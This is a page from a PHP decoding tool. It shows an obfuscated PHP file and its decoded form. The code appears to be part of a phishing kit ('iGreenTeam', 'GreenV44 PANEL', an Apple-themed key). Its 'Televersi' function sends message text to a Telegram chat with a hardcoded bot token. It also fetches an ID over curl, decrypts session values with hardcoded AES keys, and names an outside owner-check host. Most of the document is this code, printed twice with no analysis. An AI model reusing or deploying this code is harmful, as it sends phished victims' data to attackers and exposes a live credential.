Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto fz8_c; ftXR1: ${${"\x47\x4c\117\x42\x41\114\x53"}["\152\x61\x71\x76\x6b\156\1..
Decoded Output download
<?php
goto fz8_c; ftXR1: ${${"GLOBALS"}["jaqvknpo"]} = ${${"GLOBALS"}["njfhttize"]}; goto gsp6h; wuz0m: ${"GLOBALS"}["ppoqnl"] = "key"; goto gkCdb; cmpEx: ${"GLOBALS"}["kdniluydcn"] = "encrypt_method"; goto s5IL6; aIef7: ${${"GLOBALS"}["njfhttize"]} = checkid(${${"GLOBALS"}["pkmshyt"]}); goto ArrMT; G3NiI: ${"GLOBALS"}["pesodxdqxwmu"] = "action"; goto GVUFj; WgS5h: ${"GLOBALS"}["fdkgpjscp"] = "tokenid"; goto ZZVyh; gtnYb: function encrypt_decrypt($string, $action = "decrypt") { $jnzbbzribm = "action"; ${"GLOBALS"}["jcfkviho"] = "secret_key"; $ynnhrf = "secret_key"; ${${"GLOBALS"}["kdniluydcn"]} = "AES-256-CBC"; ${$ynnhrf} = "itechnoo"; ${"GLOBALS"}["yvbbiul"] = "key"; ${${"GLOBALS"}["uajbzygvllj"]} = "AppleiGreen2024"; $onsrcws = "iv"; ${${"GLOBALS"}["yvbbiul"]} = hash("sha256", ${${"GLOBALS"}["jcfkviho"]}); ${$onsrcws} = substr(hash("sha256", ${${"GLOBALS"}["uajbzygvllj"]}), 0, 16); if (${${"GLOBALS"}["pesodxdqxwmu"]} == "encrypt") { $thnqzbjutqf = "encrypt_method"; $myybgadfore = "string"; ${"GLOBALS"}["beitmwf"] = "iv"; ${${"GLOBALS"}["hfarvok"]} = openssl_encrypt(${$myybgadfore}, ${$thnqzbjutqf}, ${${"GLOBALS"}["ppoqnl"]}, 0, ${${"GLOBALS"}["beitmwf"]}); ${"GLOBALS"}["zvhvpczrtg"] = "output"; ${${"GLOBALS"}["hfarvok"]} = base64_encode(${${"GLOBALS"}["zvhvpczrtg"]}); } else { if (${$jnzbbzribm} == "decrypt") { ${"GLOBALS"}["lkuljcf"] = "encrypt_method"; ${"GLOBALS"}["nyikhwtm"] = "output"; $mrsvzhroxt = "iv"; ${"GLOBALS"}["rnwiqegbubo"] = "key"; ${${"GLOBALS"}["nyikhwtm"]} = openssl_decrypt(base64_decode(${${"GLOBALS"}["ecgpkh"]}), ${${"GLOBALS"}["lkuljcf"]}, ${${"GLOBALS"}["rnwiqegbubo"]}, 0, ${$mrsvzhroxt}); } } return ${${"GLOBALS"}["hfarvok"]}; } goto z3Pyr; fz8_c: ${"GLOBALS"}["ecgpkh"] = "string"; goto wuz0m; ZkFSd: ${${"GLOBALS"}["zyzuhmfuqf"]} = "iGreenTeam"; goto qlUt_; s5IL6: ${"GLOBALS"}["byjlcqkt"] = "response"; goto CBlEk; aIRu3: $yvfjir = "PanelName"; goto To31T; vbg4P: function checkid($link1) { $tpdealhfkq = "curl"; ${${"GLOBALS"}["ukhnoxfiqm"]} = curl_init(); curl_setopt_array(${$tpdealhfkq}, array(CURLOPT_URL => ${${"GLOBALS"}["pkmshyt"]}, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 100)); ${"GLOBALS"}["zuqxojibs"] = "response"; ${${"GLOBALS"}["byjlcqkt"]} = curl_exec(${${"GLOBALS"}["ukhnoxfiqm"]}); curl_close(${${"GLOBALS"}["ukhnoxfiqm"]}); return ${${"GLOBALS"}["zuqxojibs"]}; } goto gtnYb; GVUFj: ${"GLOBALS"}["uajbzygvllj"] = "secret_iv"; goto cmpEx; cEQg4: ${${"GLOBALS"}["xjqsltpcs"]} = "https://myapis.live"; goto a_hTe; a_hTe: ${$yvfjir} = "{$ownerfolder} PANEL"; goto IyKP3; IyKP3: ${${"GLOBALS"}["pkmshyt"]} = "https://" . $_SERVER["SERVER_NAME"] . "/i{$ownerfolder}/assets/myID"; goto aIef7; ZZVyh: ${"GLOBALS"}["wjqmfoqoyash"] = "user"; goto TFvvI; GjgpT: $srothiewpxrm = "_SESid1"; goto kdLeX; Jea9R: function Televersi($tokenid, $body) { ${"GLOBALS"}["vxyviejqglo"] = "body"; ${${"GLOBALS"}["vdceoes"]} = "5918349954:AAGa3p6F7Qow91LZdNczrQWYiw4Wt1eTZQA"; $xrslcvrxcpkb = "response"; ${${"GLOBALS"}["ufypxho"]} = array("chat_id" => ${${"GLOBALS"}["fdkgpjscp"]}, "text" => ${${"GLOBALS"}["vxyviejqglo"]}, "parse_mode" => "html"); ${$xrslcvrxcpkb} = file_get_contents("https://api.telegram.org/bot{$token}/sendMessage?" . http_build_query(${${"GLOBALS"}["ufypxho"]})); } goto vbg4P; gsp6h: ${${"GLOBALS"}["wjqmfoqoyash"]} = ${${"GLOBALS"}["fdkgpjscp"]} = ${$narenwvkqs}; goto Jea9R; To31T: $narenwvkqs = "_SESid"; goto odHn0; TFvvI: ${"GLOBALS"}["njfhttize"] = "_SESid1"; goto SmRXG; KQFCH: ${"GLOBALS"}["jaqvknpo"] = "_SESid"; goto cEQg4; odHn0: $pnmurhz = "ownerfolder"; goto GjgpT; CBlEk: ${"GLOBALS"}["ukhnoxfiqm"] = "curl"; goto EcIXh; gkCdb: ${"GLOBALS"}["hfarvok"] = "output"; goto G3NiI; ArrMT: ${${"GLOBALS"}["njfhttize"]} = encrypt_decrypt(${$srothiewpxrm}, ${$cyypoc} = "decrypt"); goto ftXR1; gvPOF: header("Content-type: text/html; charset=utf-8"); goto aIRu3; kdLeX: $cyypoc = "action"; goto ZkFSd; qlUt_: ${$pnmurhz} = "GreenV44"; goto KQFCH; x0jup: ${"GLOBALS"}["vdceoes"] = "token"; goto WgS5h; EcIXh: ${"GLOBALS"}["ufypxho"] = "data"; goto x0jup; gwtts: ${"GLOBALS"}["xjqsltpcs"] = "ownercheck"; goto s1jQY; s1jQY: ${"GLOBALS"}["zyzuhmfuqf"] = "owner"; goto gvPOF; SmRXG: ${"GLOBALS"}["pkmshyt"] = "link1"; goto gwtts; z3Pyr: ?>
Did this file decode correctly?
Original Code
<?php
goto fz8_c; ftXR1: ${${"\x47\x4c\117\x42\x41\114\x53"}["\152\x61\x71\x76\x6b\156\160\x6f"]} = ${${"\107\114\117\x42\101\x4c\x53"}["\156\152\146\x68\164\x74\x69\172\145"]}; goto gsp6h; wuz0m: ${"\107\114\117\102\x41\114\x53"}["\160\x70\157\161\x6e\x6c"] = "\x6b\x65\x79"; goto gkCdb; cmpEx: ${"\x47\114\117\x42\101\114\x53"}["\153\x64\156\151\154\165\x79\x64\x63\x6e"] = "\x65\x6e\x63\x72\171\x70\164\137\155\x65\x74\x68\x6f\x64"; goto s5IL6; aIef7: ${${"\x47\114\117\102\x41\x4c\123"}["\x6e\x6a\146\x68\164\x74\x69\x7a\145"]} = checkid(${${"\x47\114\x4f\102\101\114\x53"}["\x70\x6b\x6d\163\150\x79\164"]}); goto ArrMT; G3NiI: ${"\x47\x4c\117\102\101\114\x53"}["\x70\x65\x73\157\x64\170\x64\x71\x78\x77\x6d\165"] = "\141\143\164\151\157\x6e"; goto GVUFj; WgS5h: ${"\107\x4c\x4f\x42\101\x4c\123"}["\146\x64\153\x67\x70\x6a\163\x63\x70"] = "\164\157\153\145\156\x69\144"; goto ZZVyh; gtnYb: function encrypt_decrypt($string, $action = "\144\145\x63\x72\x79\x70\164") { $jnzbbzribm = "\x61\143\164\x69\157\156"; ${"\107\114\x4f\x42\x41\114\123"}["\152\143\x66\153\166\151\150\157"] = "\x73\145\143\162\x65\164\x5f\153\x65\171"; $ynnhrf = "\x73\x65\143\162\x65\x74\137\x6b\145\x79"; ${${"\107\114\117\102\101\114\123"}["\153\144\156\151\154\x75\x79\144\143\x6e"]} = "\x41\x45\123\55\x32\x35\66\55\x43\x42\103"; ${$ynnhrf} = "\x69\x74\x65\143\x68\156\x6f\157"; ${"\x47\x4c\117\x42\101\x4c\x53"}["\171\x76\142\x62\x69\x75\x6c"] = "\153\145\171"; ${${"\107\114\x4f\102\x41\114\x53"}["\x75\141\x6a\x62\172\171\x67\166\x6c\154\152"]} = "\x41\160\160\154\x65\151\x47\162\x65\145\156\x32\60\62\64"; $onsrcws = "\151\166"; ${${"\x47\x4c\117\x42\x41\114\123"}["\171\x76\x62\x62\x69\165\x6c"]} = hash("\163\150\x61\x32\x35\x36", ${${"\107\x4c\x4f\102\101\x4c\x53"}["\x6a\143\x66\153\x76\151\x68\x6f"]}); ${$onsrcws} = substr(hash("\163\150\x61\62\x35\66", ${${"\x47\114\x4f\102\101\x4c\x53"}["\x75\x61\x6a\x62\172\x79\147\166\x6c\154\152"]}), 0, 16); if (${${"\x47\x4c\117\x42\101\114\123"}["\x70\145\x73\x6f\144\170\x64\x71\x78\167\x6d\165"]} == "\x65\x6e\143\x72\x79\x70\164") { $thnqzbjutqf = "\145\x6e\x63\162\x79\x70\164\x5f\x6d\x65\164\x68\157\144"; $myybgadfore = "\163\x74\162\x69\156\147"; ${"\x47\114\x4f\x42\x41\114\x53"}["\x62\145\151\x74\x6d\x77\146"] = "\151\166"; ${${"\x47\x4c\x4f\x42\101\114\x53"}["\150\146\141\x72\x76\157\x6b"]} = openssl_encrypt(${$myybgadfore}, ${$thnqzbjutqf}, ${${"\x47\114\117\102\101\114\123"}["\160\x70\157\161\x6e\154"]}, 0, ${${"\107\x4c\x4f\102\101\x4c\123"}["\142\145\x69\x74\155\167\146"]}); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7a\166\150\166\160\x63\x7a\x72\164\x67"] = "\x6f\165\164\x70\165\x74"; ${${"\107\114\117\102\x41\x4c\x53"}["\150\146\141\x72\x76\157\153"]} = base64_encode(${${"\x47\114\x4f\102\x41\114\123"}["\172\x76\150\x76\160\x63\172\162\x74\x67"]}); } else { if (${$jnzbbzribm} == "\144\x65\143\162\171\x70\x74") { ${"\107\114\117\102\101\114\123"}["\154\x6b\x75\x6c\152\143\x66"] = "\x65\156\143\x72\171\x70\x74\x5f\155\145\164\x68\x6f\x64"; ${"\x47\x4c\117\x42\x41\114\123"}["\156\x79\x69\153\x68\x77\x74\155"] = "\157\165\x74\160\165\x74"; $mrsvzhroxt = "\x69\x76"; ${"\107\x4c\117\x42\101\x4c\x53"}["\162\156\x77\x69\161\x65\147\x62\x75\x62\157"] = "\x6b\145\x79"; ${${"\107\x4c\117\x42\101\x4c\x53"}["\x6e\171\151\153\150\x77\x74\x6d"]} = openssl_decrypt(base64_decode(${${"\x47\114\x4f\x42\101\x4c\123"}["\145\x63\x67\x70\x6b\150"]}), ${${"\x47\x4c\117\102\x41\x4c\123"}["\x6c\x6b\165\154\x6a\143\x66"]}, ${${"\107\x4c\117\x42\x41\114\x53"}["\x72\x6e\167\x69\x71\145\147\x62\165\x62\x6f"]}, 0, ${$mrsvzhroxt}); } } return ${${"\107\114\x4f\x42\x41\114\123"}["\150\146\x61\x72\x76\x6f\x6b"]}; } goto z3Pyr; fz8_c: ${"\107\114\117\102\x41\x4c\x53"}["\145\x63\x67\x70\x6b\150"] = "\x73\164\x72\151\156\x67"; goto wuz0m; ZkFSd: ${${"\107\x4c\117\x42\x41\114\x53"}["\172\171\x7a\x75\x68\x6d\x66\165\x71\146"]} = "\x69\107\x72\x65\145\156\x54\x65\141\x6d"; goto qlUt_; s5IL6: ${"\x47\114\x4f\x42\101\x4c\123"}["\142\171\152\x6c\x63\x71\153\164"] = "\x72\x65\163\160\157\x6e\x73\145"; goto CBlEk; aIRu3: $yvfjir = "\x50\141\156\x65\154\x4e\141\x6d\x65"; goto To31T; vbg4P: function checkid($link1) { $tpdealhfkq = "\x63\165\162\x6c"; ${${"\x47\114\117\x42\x41\114\123"}["\165\x6b\x68\x6e\157\170\146\x69\161\155"]} = curl_init(); curl_setopt_array(${$tpdealhfkq}, array(CURLOPT_URL => ${${"\107\114\117\x42\101\x4c\123"}["\160\x6b\155\163\150\171\164"]}, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 100)); ${"\x47\x4c\x4f\x42\101\114\123"}["\x7a\165\x71\x78\x6f\x6a\x69\142\163"] = "\162\145\163\160\x6f\156\x73\145"; ${${"\107\x4c\117\102\101\x4c\123"}["\x62\x79\x6a\154\x63\161\153\x74"]} = curl_exec(${${"\107\114\117\x42\x41\114\x53"}["\x75\153\150\x6e\x6f\x78\x66\151\x71\155"]}); curl_close(${${"\x47\114\117\x42\101\x4c\x53"}["\165\x6b\150\156\157\x78\146\x69\x71\155"]}); return ${${"\107\114\x4f\102\101\x4c\x53"}["\x7a\x75\161\x78\157\152\151\142\163"]}; } goto gtnYb; GVUFj: ${"\107\x4c\x4f\102\101\114\x53"}["\x75\141\152\142\172\x79\x67\166\x6c\154\x6a"] = "\x73\145\x63\162\145\x74\x5f\151\166"; goto cmpEx; cEQg4: ${${"\107\114\117\102\x41\x4c\x53"}["\x78\152\x71\163\x6c\x74\x70\143\x73"]} = "\150\164\164\160\163\x3a\57\57\155\171\x61\160\151\x73\56\x6c\x69\166\x65"; goto a_hTe; a_hTe: ${$yvfjir} = "{$ownerfolder}\40\x50\x41\x4e\x45\114"; goto IyKP3; IyKP3: ${${"\x47\114\117\x42\101\x4c\x53"}["\x70\153\155\x73\x68\171\164"]} = "\150\164\164\160\x73\x3a\x2f\x2f" . $_SERVER["\123\105\x52\126\x45\x52\137\x4e\x41\x4d\x45"] . "\x2f\x69{$ownerfolder}\x2f\x61\x73\x73\145\164\163\x2f\155\x79\111\104"; goto aIef7; ZZVyh: ${"\107\114\117\x42\101\x4c\x53"}["\x77\x6a\x71\x6d\146\157\x71\x6f\171\x61\163\x68"] = "\x75\163\145\x72"; goto TFvvI; GjgpT: $srothiewpxrm = "\137\x53\x45\123\x69\144\61"; goto kdLeX; Jea9R: function Televersi($tokenid, $body) { ${"\x47\114\117\102\x41\114\123"}["\x76\170\x79\x76\151\x65\152\161\147\x6c\157"] = "\x62\157\x64\x79"; ${${"\107\x4c\117\x42\x41\x4c\123"}["\166\144\143\145\157\145\x73"]} = "\x35\x39\x31\x38\x33\x34\71\x39\x35\x34\x3a\x41\101\x47\x61\x33\160\x36\x46\67\121\157\x77\x39\61\114\132\x64\116\x63\x7a\162\121\x57\131\x69\x77\x34\x57\164\x31\x65\124\x5a\x51\x41"; $xrslcvrxcpkb = "\x72\x65\163\160\x6f\156\x73\145"; ${${"\107\114\x4f\x42\101\114\123"}["\165\146\171\x70\x78\150\157"]} = array("\x63\150\x61\x74\137\151\x64" => ${${"\107\x4c\x4f\102\101\x4c\123"}["\x66\144\x6b\147\x70\152\163\x63\x70"]}, "\164\x65\170\x74" => ${${"\107\114\117\x42\101\114\x53"}["\x76\x78\x79\x76\x69\145\x6a\161\x67\154\x6f"]}, "\160\141\162\163\x65\137\155\x6f\144\x65" => "\150\164\x6d\x6c"); ${$xrslcvrxcpkb} = file_get_contents("\x68\x74\164\160\163\x3a\x2f\57\x61\x70\151\56\164\x65\154\145\147\162\x61\155\x2e\157\x72\147\x2f\142\157\164{$token}\57\x73\x65\x6e\144\x4d\x65\x73\163\141\147\145\x3f" . http_build_query(${${"\x47\114\x4f\x42\101\114\123"}["\165\x66\x79\x70\170\x68\157"]})); } goto vbg4P; gsp6h: ${${"\107\x4c\x4f\102\101\114\123"}["\x77\152\x71\x6d\x66\x6f\x71\157\171\x61\163\x68"]} = ${${"\107\114\x4f\x42\x41\x4c\x53"}["\146\x64\153\x67\x70\152\x73\143\x70"]} = ${$narenwvkqs}; goto Jea9R; To31T: $narenwvkqs = "\x5f\123\x45\x53\151\x64"; goto odHn0; TFvvI: ${"\x47\x4c\117\x42\101\114\x53"}["\156\152\x66\x68\164\164\x69\172\145"] = "\x5f\123\x45\x53\151\144\61"; goto SmRXG; KQFCH: ${"\x47\x4c\117\x42\x41\x4c\123"}["\x6a\141\161\166\x6b\156\160\x6f"] = "\137\123\x45\x53\x69\144"; goto cEQg4; odHn0: $pnmurhz = "\157\x77\156\145\162\x66\x6f\x6c\144\x65\x72"; goto GjgpT; CBlEk: ${"\107\114\x4f\x42\x41\x4c\123"}["\x75\153\150\x6e\157\x78\x66\x69\x71\x6d"] = "\x63\x75\x72\x6c"; goto EcIXh; gkCdb: ${"\107\x4c\x4f\102\x41\x4c\x53"}["\150\x66\141\x72\x76\x6f\x6b"] = "\157\x75\x74\x70\x75\x74"; goto G3NiI; ArrMT: ${${"\x47\114\117\102\x41\114\123"}["\156\152\146\150\164\x74\x69\x7a\145"]} = encrypt_decrypt(${$srothiewpxrm}, ${$cyypoc} = "\144\145\x63\x72\x79\160\164"); goto ftXR1; gvPOF: header("\x43\x6f\156\164\x65\x6e\164\x2d\164\171\160\x65\x3a\x20\x74\x65\x78\x74\57\150\x74\155\x6c\x3b\x20\x63\x68\141\162\x73\145\164\x3d\x75\x74\x66\55\70"); goto aIRu3; kdLeX: $cyypoc = "\x61\x63\164\151\157\156"; goto ZkFSd; qlUt_: ${$pnmurhz} = "\x47\x72\x65\x65\156\126\64\64"; goto KQFCH; x0jup: ${"\107\x4c\x4f\102\x41\114\123"}["\x76\144\143\145\157\x65\163"] = "\x74\157\153\145\156"; goto WgS5h; EcIXh: ${"\107\x4c\x4f\x42\101\x4c\123"}["\x75\x66\171\160\170\150\x6f"] = "\x64\141\x74\141"; goto x0jup; gwtts: ${"\107\114\x4f\x42\x41\x4c\123"}["\170\x6a\x71\163\154\x74\x70\x63\163"] = "\157\x77\x6e\x65\162\x63\150\145\143\x6b"; goto s1jQY; s1jQY: ${"\x47\x4c\117\102\x41\114\x53"}["\x7a\171\x7a\x75\150\155\x66\165\x71\x66"] = "\x6f\x77\156\145\162"; goto gvPOF; SmRXG: ${"\x47\x4c\117\x42\x41\114\123"}["\160\153\155\163\x68\x79\x74"] = "\154\151\156\x6b\x31"; goto gwtts; z3Pyr: ?>
Function Calls
None |
Stats
MD5 | 9daaa07f04392fd78fc4f099e31fbdb0 |
Eval Count | 0 |
Decode Time | 63 ms |